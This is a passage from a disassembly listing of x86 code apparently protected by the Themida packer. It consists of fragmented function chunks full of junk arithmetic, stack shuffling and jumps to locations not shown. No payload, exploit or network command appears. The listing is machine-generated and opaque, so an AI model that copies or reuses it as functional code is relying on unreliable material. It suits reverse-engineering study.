[esp+1Ch+var_1C], esi mov esi, 400h jmp loc_564163 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_564786: ; CODE XREF: sub_56651E+38BBj sub ebp, 4 xchg ebp, [esp+4+var_4] jmp loc_5734C1 ; END OF FUNCTION CHUNK FOR sub_56651E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D1DD loc_564794: ; CODE XREF: sub_56D1DD+20j pop ebx push eax mov eax, 167A2C56h add ebp, eax pop eax sub ebp, edi jmp sub_566C83 ; END OF FUNCTION CHUNK FOR sub_56D1DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5684A6 loc_5647A5: ; CODE XREF: sub_5684A6-8243j xor ecx, 60212BCAh xor edi, ecx pop ecx push esi jmp loc_56141E ; END OF FUNCTION CHUNK FOR sub_5684A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_5647B4: ; CODE XREF: sub_572E16-8A13j xor ecx, esi pop esi push ebp mov ebp, 87CB84DDh add ecx, ebp pop ebp sub ebp, 57522D95h add ebp, ecx add ebp, 57522D95h pop ecx jmp loc_570D0D ; END OF FUNCTION CHUNK FOR sub_572E16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_5647D4: ; CODE XREF: sub_5685B2-6DBFj xor cl, 8 add bh, cl pop ecx or dl, bh pop ebx xor dl, 71h jmp loc_560CBE ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747AF loc_5647E5: ; CODE XREF: sub_5747AF+18j mov [esp+14h+var_14], esp push ebp jmp loc_564CFB ; END OF FUNCTION CHUNK FOR sub_5747AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_5647EE: ; CODE XREF: sub_56657A+DDEDj mov ecx, ebp pop ebp push edx push 76AD46FDh pop edx jmp loc_56CF7D ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_5647FD: ; CODE XREF: sub_570732-E9AEj mov [esp+8+var_8], ebx push esp pop ebx add ebx, 4 push 4CADh mov [esp+0Ch+var_C], esi push edi push ecx mov ecx, 10834D96h or ecx, 59B27041h not ecx xor ecx, 0A64C822Ch mov edi, ecx pop ecx mov esi, edi pop edi sub ebx, 2D3C1DC4h add ebx, esi jmp loc_56AACB ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A608 loc_564838: ; CODE XREF: sub_56A608-9E2Ej mov ecx, 48822E75h jmp loc_56826D ; END OF FUNCTION CHUNK FOR sub_56A608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CBE loc_564842: ; CODE XREF: sub_574CBE-80EEj push esi mov esi, 53EC48E1h xor esi, 5EE0277Dh sub esp, 4 mov [esp+14h+var_14], ecx mov ecx, 68FD001Ah dec ecx jmp loc_56CED2 ; --------------------------------------------------------------------------- loc_564862: ; CODE XREF: sub_574CBE-269Bj push 65B80E40h pop edi push eax mov eax, 580E52E0h sub eax, 2183021Eh sub eax, 73C5500h and eax, 253B4C26h sub eax, 0E2C52224h add eax, 2A9468CDh shr eax, 3 shl eax, 6 not eax jmp loc_56EB15 ; END OF FUNCTION CHUNK FOR sub_574CBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_564894: ; CODE XREF: sub_568E5C+8EF9j pop esp push ecx jmp loc_565774 ; END OF FUNCTION CHUNK FOR sub_568E5C ; =============== S U B R O U T I N E ======================================= sub_56489B proc near ; CODE XREF: sub_57117B+31Cj var_4 = word ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005622F9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056F553 SIZE 00000007 BYTES sub esp, 2 mov [esp+0], ax mov al, 6 sub cl, al pop ax jmp loc_56F553 sub_56489B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565B6E loc_5648B0: ; CODE XREF: sub_565B6E+EC27j push 2F91h jmp loc_56EF01 ; END OF FUNCTION CHUNK FOR sub_565B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D855 loc_5648BA: ; CODE XREF: sub_56D855-4665j xor ecx, [esp+10h+var_10] pop esp push ebp mov ebp, esp jmp loc_56EA2E ; END OF FUNCTION CHUNK FOR sub_56D855 ; =============== S U B R O U T I N E ======================================= sub_5648C6 proc near ; CODE XREF: sub_56B1DC-AE8Bj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560FB1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056151E SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0056420A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00566706 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00566994 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00566F0F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00568C88 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005699E1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056B8D8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056BB65 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056D07A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056E2E0 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00570C42 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005721F7 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005748ED SIZE 00000022 BYTES push ebp jmp loc_566706 sub_5648C6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_5648CC: ; CODE XREF: sub_572DD7-3950j sub dword ptr [esp+4], 44145098h sub [esp+4], esi add dword ptr [esp+4], 44145098h pop esi add dword ptr [esp+0], 5248226Bh sub [esp+0], eax sub dword ptr [esp+0], 5248226Bh push ebx push edi push ecx mov ecx, 23B73080h sub ecx, 6DE3A1h jmp loc_573F55 ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566B79 loc_564905: ; CODE XREF: sub_566B79+8383j mov [esp+0], eax mov eax, 4 add [esp+arg_0], eax push dword ptr [esp+0] jmp loc_562541 ; END OF FUNCTION CHUNK FOR sub_566B79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_564919: ; CODE XREF: sub_5638E4+1540j sub esi, 4F1B41C6h pop ebx add esi, 4 xchg esi, [esp+4+var_4] mov esp, [esp+4+var_4] sub bl, 5Fh xor al, bl pop ebx xor bl, al movzx eax, al push dword ptr [edi+eax*4] push [esp-4+arg_0] pop eax push edi mov edi, esp push edx mov edx, 0A8857EEh neg edx neg edx push edi mov edi, 63FD4D87h jmp loc_565EB9 ; END OF FUNCTION CHUNK FOR sub_5638E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560056 loc_564953: ; CODE XREF: sub_560056+4FD0j add eax, 4 push edi jmp loc_56F91E ; END OF FUNCTION CHUNK FOR sub_560056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D4B8 loc_56495E: ; CODE XREF: sub_56D4B8+4934j push ecx sub [esp-8+arg_4], 780803FBh push [esp-8+arg_4] mov eax, [esp-4+arg_0] add esp, 4 push 417Bh mov [esp-4+arg_0], edi push esp pop edi push ebp mov ebp, 2ECE7B60h or ebp, 363D0377h push edi mov edi, 0FFFFFFFFh sub ebp, edi pop edi sub ebp, 1 shr ebp, 7 dec ebp push eax mov eax, 4D197352h sub eax, 0DE75815h sub eax, 404E6C4Dh shr eax, 3 xor eax, 28183269h xor eax, 0C84646B8h jmp loc_5612BA ; END OF FUNCTION CHUNK FOR sub_56D4B8 ; --------------------------------------------------------------------------- loc_5649BA: ; CODE XREF: Themida_:0056042Dj xor [esp], esi xor esi, [esp] pop esp push ebx push esi push 338D7560h mov esi, [esp] add esp, 4 xor esi, 434871ADh shr esi, 7 xor esi, 0AFBE536h jmp loc_570D43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_5649E5: ; CODE XREF: sub_574656-7DFj xchg ecx, ebx push ebp mov ebp, 5D7E1130h sub ebp, 6BDE2115h xor ebp, 48785C27h shr ebp, 3 push esi jmp loc_56CF9B ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573612 loc_564A02: ; CODE XREF: sub_573612-E179j add esi, 4 jmp loc_56FEBF ; END OF FUNCTION CHUNK FOR sub_573612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_564A0A: ; CODE XREF: sub_572641-8641j xchg ebp, [esp+6+var_8+2] pop esp jmp sub_5731F9 ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_564A13: ; CODE XREF: sub_5690E8-62B1j mov ebp, [esp+8+var_8] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0Ch+var_C] jmp loc_563B3E ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_564A2D: ; CODE XREF: sub_574949-C791j add cl, dh add cl, 0C7h pop edx jmp loc_560E90 ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DFE loc_564A38: ; CODE XREF: sub_566DFE+D8D8j add edi, esi jmp loc_57149C ; END OF FUNCTION CHUNK FOR sub_566DFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56626B loc_564A3F: ; CODE XREF: sub_56626B+1j mov bh, 7 sub bh, 2Ah jmp loc_57243D ; END OF FUNCTION CHUNK FOR sub_56626B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_564A49: ; CODE XREF: sub_564D26+ADE1j mov [esp+10h+var_10], edx mov edx, 748E6EE8h add edx, 231966C3h add edx, 72F409CEh jmp loc_56FF6E ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- loc_564A62: ; CODE XREF: Themida_:0056CE25j pop esp jmp loc_56CDFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747D7 loc_564A68: ; CODE XREF: sub_5747D7+6j mov [esp+4+var_4], esp push eax jmp loc_56426E ; END OF FUNCTION CHUNK FOR sub_5747D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_564A71: ; CODE XREF: sub_5605BC+12525j xor ebx, [esp+28h+var_28] xor [esp+28h+var_28], ebx xor ebx, [esp+28h+var_28] pop esp mov [esp+24h+var_24], ebp push 319Bh mov [esp+28h+var_28], ecx push 744Fh mov [esp+0], esi mov esi, 76446D97h mov ecx, esi pop esi sub ecx, 6CAB70D6h and ecx, 436A0E21h push esi push edx mov edx, 6C235ED3h mov esi, 6C235ED2h jmp loc_567856 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_564AB3: ; CODE XREF: sub_574304+7DDj pop ebp push [esp+8+var_8] pop edi add esp, 4 push 2480h jmp loc_56B1F3 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C3E2 loc_564AC5: ; CODE XREF: sub_56C3E2+2Fj add ebp, 353A0927h add ebp, edx push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_563CAA ; END OF FUNCTION CHUNK FOR sub_56C3E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D9E loc_564AE1: ; CODE XREF: sub_568D9E+3803j add edx, ebp sub edx, 51A900D5h mov ebp, [esp+4+var_4] add esp, 4 xor edx, 2B3127ABh or eax, edx pop edx push esi mov esi, 9AA0393Eh add eax, esi pop esi sub eax, edi push dword ptr [esp+0] jmp loc_57475F ; END OF FUNCTION CHUNK FOR sub_568D9E ; =============== S U B R O U T I N E ======================================= sub_564B0B proc near ; DATA XREF: Themida_:0055FE2Co var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0056AF7F SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056E1D1 SIZE 0000001F BYTES push ebx mov ebx, esp push edx mov edx, 4 sub ebx, 69C835A5h sub ebx, 24F21996h add ebx, edx add ebx, 24F21996h jmp loc_56E1D1 sub_564B0B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575420 loc_564B2D: ; CODE XREF: sub_575420-D52Fj mov [esp+14h+var_14], ecx mov cl, ah jmp loc_56164C ; END OF FUNCTION CHUNK FOR sub_575420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_564B37: ; CODE XREF: sub_57146D-57DBj sub esi, 4 xchg esi, [esp+10h+var_10] pop esp mov [esp+0Ch+var_C], eax mov ah, 80h inc ah neg ah xor ah, 0F3h shl ah, 8 jmp loc_568C8E ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_564B52: ; CODE XREF: sub_56E126-4193j mov [esp+4+var_4], esi jmp loc_565C76 ; END OF FUNCTION CHUNK FOR sub_56E126 ; =============== S U B R O U T I N E ======================================= sub_564B5A proc near ; CODE XREF: sub_574503+D0Ej var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00568BC1 SIZE 00000008 BYTES sub esp, 4 jmp loc_568BC1 sub_564B5A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575420 loc_564B65: ; CODE XREF: sub_575420-13DC8j mov ebx, [esp+0Ch+var_C] add esp, 4 add bh, dl pop dx add al, 0F4h sub al, 0A1h jmp loc_571E44 ; END OF FUNCTION CHUNK FOR sub_575420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_564B78: ; CODE XREF: sub_563A7F-1E63j add esp, 4 xor al, dl pop edx push edx push ebx jmp loc_565E2D ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_564B88: ; CODE XREF: sub_572075-59F8j add ecx, 51BA3346h add ecx, ebp sub ecx, 51BA3346h jmp loc_5720C0 ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A7FB loc_564B9B: ; CODE XREF: sub_56A7FB+9413j push cx push edx jmp loc_560FBF ; END OF FUNCTION CHUNK FOR sub_56A7FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566AF9 loc_564BA3: ; CODE XREF: sub_566AF9+2AC6j mov eax, 5D917D94h inc eax add eax, 16CA6A20h jmp loc_56C6F8 ; END OF FUNCTION CHUNK FOR sub_566AF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_564BB3: ; CODE XREF: sub_56EE9F-B307j xor edi, 1B384420h inc edi push ecx mov ecx, 35E118Ah jmp loc_56C65D ; END OF FUNCTION CHUNK FOR sub_56EE9F ; =============== S U B R O U T I N E ======================================= sub_564BC5 proc near ; CODE XREF: sub_563DCB+10534j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056353A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00563AFA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005646A6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00564F74 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056A093 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056A79A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056AE8B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056BD2E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056DE25 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056DF59 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056EA1A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00571722 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00571FAD SIZE 00000008 BYTES sub esp, 4 jmp loc_56353A sub_564BC5 endp ; =============== S U B R O U T I N E ======================================= sub_564BD0 proc near ; DATA XREF: Themida_:0055FD5Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push dword ptr [esp+0] pop ecx push 4383h mov [esp+4+var_4], ebp sub esp, 4 mov [esp+8+var_8], esp add [esp+8+var_8], 4 mov ebp, [esp+8+var_8] push 1607h mov [esp+0Ch+var_C], ebp mov ebp, esp jmp sub_574CDD sub_564BD0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D93 loc_564BF8: ; CODE XREF: sub_568D93+9BB3j pop ebx dec ecx add ecx, 0FFFFFFFFh xor ecx, 10CE1747h sub ecx, 48B97936h not ecx add ecx, 0B7A6AA14h add edi, ecx pop ecx sub esp, 4 jmp loc_573132 ; END OF FUNCTION CHUNK FOR sub_568D93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_564C1F: ; CODE XREF: sub_56616D+D4A0j xor ecx, edx jmp loc_5748A1 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F782 loc_564C26: ; CODE XREF: sub_56F782-45F3j and ebp, 2DCF11E4h shl ebp, 7 sub ebp, 4A2F72E8h shr ebp, 5 dec ebp xor ebp, 0B2C8E3h jmp loc_56CFAE ; END OF FUNCTION CHUNK FOR sub_56F782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_564C44: ; CODE XREF: sub_569A84+725Bj pop ebx push edi mov edi, 4 add ebx, edi pop edi push eax jmp loc_56A87C ; END OF FUNCTION CHUNK FOR sub_569A84 ; =============== S U B R O U T I N E ======================================= sub_564C54 proc near ; CODE XREF: sub_56EB4A+1845j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056310C SIZE 00000006 BYTES push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] jmp loc_56310C sub_564C54 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_564C68: ; CODE XREF: sub_56EE9F-4116j pop edx jmp loc_563B75 ; END OF FUNCTION CHUNK FOR sub_56EE9F ; --------------------------------------------------------------------------- loc_564C6E: ; CODE XREF: Themida_:00563BF6j xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] push 3747h mov [esp], edi mov edi, esp push esi push ecx mov ecx, 4 mov esi, ecx pop ecx add edi, esi pop esi push ebp mov ebp, 233A0FF7h sub ebp, 233A0FF3h add edi, ebp pop ebp xchg edi, [esp] jmp loc_569FCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_564CAF: ; CODE XREF: sub_56638C-3F5Ej sub esi, 1C927267h pop edi push 211Fh jmp loc_56169E ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CBE loc_564CC0: ; CODE XREF: sub_574CBE-10E61j sub eax, esi pop esi add eax, esi add eax, 412D5C32h push edi mov edi, 2D4849A7h add eax, 17C657AFh jmp sub_5736FA ; END OF FUNCTION CHUNK FOR sub_574CBE ; =============== S U B R O U T I N E ======================================= sub_564CDA proc near ; CODE XREF: sub_56C83E-8730j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005604E7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00563837 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00563CE1 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00565726 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056B111 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056EC3F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056EF17 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056F61F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005710C3 SIZE 0000001E BYTES push ebp push 596370AAh pop ebp xor ebp, 5C351C55h mov edx, ebp pop ebp sub edx, 1034402Fh xor edx, 0F5222CD4h jmp loc_5710C3 sub_564CDA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747AF loc_564CFB: ; CODE XREF: sub_5747AF-FFC6j mov ebp, 4 add [esp+18h+var_14], ebp jmp loc_56271D ; END OF FUNCTION CHUNK FOR sub_5747AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573876 loc_564D09: ; CODE XREF: sub_573876-8620j mov edi, [esp+4+var_4] jmp loc_568EBB ; END OF FUNCTION CHUNK FOR sub_573876 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1DB loc_564D11: ; CODE XREF: sub_56F1DB-5C83j push edx jmp loc_569450 ; END OF FUNCTION CHUNK FOR sub_56F1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_564D17: ; CODE XREF: sub_5738F4-511j mov edi, 0BA837851h sub edi, esi pop esi shl edi, 1 jmp loc_575481 ; END OF FUNCTION CHUNK FOR sub_5738F4 ; =============== S U B R O U T I N E ======================================= sub_564D26 proc near ; CODE XREF: sub_567D31-10CBj var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560074 SIZE 00000043 BYTES ; FUNCTION CHUNK AT 0056011F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056031C SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00560576 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00560AF7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00560F8D SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005617D4 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00561D50 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00561FA4 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00562433 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00562527 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005627F4 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005629B3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00563216 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00563231 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005635BE SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0056363F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00563E76 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 00564A49 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00564F6C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056549E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005658B0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00565CF4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00566431 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056695F SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00566C6B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005670CD SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00567284 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056830D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056878A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00568B2A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005695E4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569694 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056993E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00569FB0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A248 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056A54A SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056AA02 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056AA60 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056B296 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056B544 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0056BD93 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056BE07 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0056C5E1 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056C891 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056CCDB SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056D098 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056D33B SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056D6ED SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056DC75 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0056DE34 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056E39C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056E70E SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056E988 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056EE02 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056F231 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F573 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056F928 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056FAFD SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056FBB4 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 0056FE17 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056FF43 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056FF6E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0057056F SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00570DCB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00570F64 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00571055 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005714CE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00571C68 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057210B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00572230 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0057233B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005726D1 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0057275F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0057393E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00573CF7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005745F2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00574B15 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00574C3A SIZE 00000008 BYTES push ebp mov ebp, 4 push ecx mov ecx, 2B40229Ah not ecx and ecx, 46AA36FDh xor ecx, 5FE77DAAh jmp loc_56E70E sub_564D26 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565849 loc_564D45: ; CODE XREF: sub_565849+98EAj pop dword ptr [esp+0] mov esp, [esp-4+arg_0] rol [esp-4+arg_0], cl pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_565849 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570621 loc_564D54: ; CODE XREF: sub_570621+2Cj not ebx inc ebx shl ebx, 1 dec ebx add ebx, 28205878h add ebx, 0C1CBA9B5h jmp loc_573160 ; END OF FUNCTION CHUNK FOR sub_570621 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_564D6B: ; CODE XREF: sub_5713A7-413Ej sub eax, 22C44741h sub eax, 47743D03h jmp loc_56FA23 ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_564D7A: ; CODE XREF: sub_568E5C+8694j sub eax, 66744DA4h sub eax, ebp add eax, 66744DA4h push ebx sub esp, 4 mov [esp+8+var_8], ecx mov ecx, 44980400h jmp loc_564556 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- loc_564D97: ; CODE XREF: Themida_:0056EF72j pop ebp jmp loc_562B50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_564D9D: ; CODE XREF: sub_560844+8263j and ecx, 584C7E32h push ebx jmp loc_56C56B ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573B49 loc_564DA9: ; CODE XREF: sub_573B49-81BAj jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_573B49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568DD7 loc_564DAE: ; CODE XREF: sub_568DD7+967Ej jmp loc_55FF9F ; END OF 